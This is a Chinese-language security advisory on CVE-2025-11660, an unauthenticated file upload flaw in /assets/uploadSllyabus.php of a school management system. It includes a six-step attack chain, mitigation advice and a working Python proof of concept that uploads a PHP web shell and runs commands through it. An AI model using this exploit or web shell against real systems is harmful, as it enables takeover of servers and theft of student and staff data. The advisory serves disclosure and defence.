IPBUF安全漏洞报告
English
CVE-2025-11660 CVSS 7.3 高危

CVE-2025-11660:School Management System 文件上传漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-11660
漏洞类型
任意文件上传(Unrestricted File Upload)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ProjectsAndPrograms School Management System

相关标签

任意文件上传Unrestricted File Upload远程代码执行RCEWebShellSchool Management SystemProjectsAndProgramsPHP高危漏洞CVSS 7.3

漏洞概述

CVE-2025-11660 是 ProjectsAndPrograms School Management System 中存在的一个高危安全漏洞。该漏洞位于系统的 /assets/uploadSllyabus.php 文件中,由于对上传文件的类型和内容缺乏有效验证,攻击者可以通过构造恶意的文件上传请求,将任意类型的文件(包括 WebShell 等可执行脚本)上传至服务器。该漏洞的 CVSS 3.1 评分为 7.3,属于高危级别,其攻击向量为网络(AV:N),无需任何权限认证(PR:N),也无需用户交互(UI:N),攻击者可在远程直接发起攻击。漏洞影响系统的机密性、完整性和可用性,均为低级别影响。该漏洞已于 2025 年 10 月 13 日公开披露,相关的利用代码(Exploit)已公开发布,可能已被恶意攻击者用于实际攻击。由于该产品采用滚动发布(rolling release)模式进行持续交付,因此无法准确确定受影响的版本范围,但根据披露信息,受影响版本为截至提交哈希 6b6fae5426044f89c08d0dd101c7fa71f9042a59 的所有版本。此类漏洞通常被攻击者用于获取服务器控制权限,进一步实施数据窃取、植入后门、横向移动等恶意行为,对教育机构的信息系统安全构成严重威胁。

技术细节

该漏洞的核心问题在于 /assets/uploadSllyabus.php 文件未对用户上传的文件进行充分的验证和过滤。具体而言,漏洞涉及对参数 'File' 的操控,攻击者可以通过修改 HTTP 请求中的文件上传字段,将恶意文件(如 PHP、ASP、JSP 等 WebShell 脚本)上传至服务器。由于缺乏以下关键安全控制:1)文件扩展名白名单验证;2)MIME 类型校验;3)文件内容检测;4)上传目录执行权限限制,导致上传的恶意脚本可被 Web 服务器解析执行。攻击者利用方式如下:首先,攻击者构造一个包含恶意 PHP 代码的文件(如包含 system($_GET['cmd']) 的 shell.php),然后通过 POST 请求将该文件提交至 /assets/uploadSllyabus.php 端点。由于该端点无需身份验证即可访问(PR:N),且无任何用户交互要求(UI:N),攻击过程完全自动化。成功上传后,攻击者通过浏览器访问上传的文件路径,即可执行任意服务器端命令,实现远程代码执行(RCE)。该漏洞的利用门槛极低,公开的 PoC 代码使得即使是技术能力较弱的攻击者也能轻松利用此漏洞。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎、Shodan 或其他资产发现工具识别暴露在公网的目标 School Management System 实例,确定目标系统的 /assets/uploadSllyabus.php 端点可访问。
STEP 2
步骤2:构造恶意文件
攻击者创建一个包含恶意 PHP 代码的 WebShell 文件(如包含 system()、exec() 等危险函数的脚本),并将其伪装为合法的课程大纲(Sllyabus)文件。
STEP 3
步骤3:上传恶意文件
攻击者通过 HTTP POST 请求将恶意文件上传至 /assets/uploadSllyabus.php 端点。由于该端点无需认证且未验证文件类型,上传请求被服务器接受并存储。
STEP 4
步骤4:定位上传文件
攻击者根据服务器响应或通过猜测常见上传目录路径(如 /assets/、/uploads/ 等),定位已上传的恶意文件的具体 URL。
STEP 5
步骤5:远程代码执行
攻击者通过浏览器或脚本访问上传的 WebShell 文件 URL,传入命令参数执行任意系统命令,成功获取服务器控制权限。
STEP 6
步骤6:后渗透阶段
获得服务器控制权限后,攻击者可进一步窃取敏感数据(学生信息、教师数据等)、植入持久化后门、进行内网横向移动或发起其他恶意攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11660 - School Management System Unrestricted File Upload PoC # Vulnerability: Unrestricted upload in /assets/uploadSllyabus.php # Affected: ProjectsAndPrograms School Management System # Author: Security Researcher import requests # Target configuration TARGET_URL = "http://target-server.com" UPLOAD_ENDPOINT = "/assets/uploadSllyabus.php" # Malicious PHP shell payload PHP_SHELL = """<?php if (isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>""" def exploit(target_url): """ Exploit unrestricted file upload vulnerability in School Management System. Uploads a PHP web shell to gain remote code execution. """ upload_url = target_url + UPLOAD_ENDPOINT # Prepare the malicious file for upload files = { 'File': ('shell.php', PHP_SHELL, 'application/x-php') } # Send the upload request (no authentication required) print(f"[*] Targeting: {upload_url}") response = requests.post(upload_url, files=files) if response.status_code == 200: print(f"[+] Upload response: {response.text}") # Try common upload paths shell_paths = [ f"{target_url}/assets/shell.php", f"{target_url}/uploads/shell.php", f"{target_url}/assets/uploads/shell.php" ] for shell_path in shell_paths: print(f"[*] Checking shell at: {shell_path}") check = requests.get(f"{shell_path}?cmd=id") if check.status_code == 200 and 'uid=' in check.text: print(f"[+] SUCCESS! Shell accessible at: {shell_path}") print(f"[+] Command output: {check.text}") return shell_path print("[-] Exploit failed") return None if __name__ == "__main__": exploit(TARGET_URL)

影响范围

ProjectsAndPrograms School Management System <= commit 6b6fae5426044f89c08d0dd101c7fa71f9042a59

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过 Web 服务器配置(如 Nginx 的 location 规则或 Apache 的 .htaccess)禁止上传目录的脚本执行权限;2)在 WAF 中添加规则拦截对 /assets/uploadSllyabus.php 的访问;3)限制该端点的访问 IP 范围,仅允许可信来源访问;4)监控上传目录的文件变化,及时发现可疑文件;5)对服务器进行定期安全检查,排查已上传的 WebShell 等恶意文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表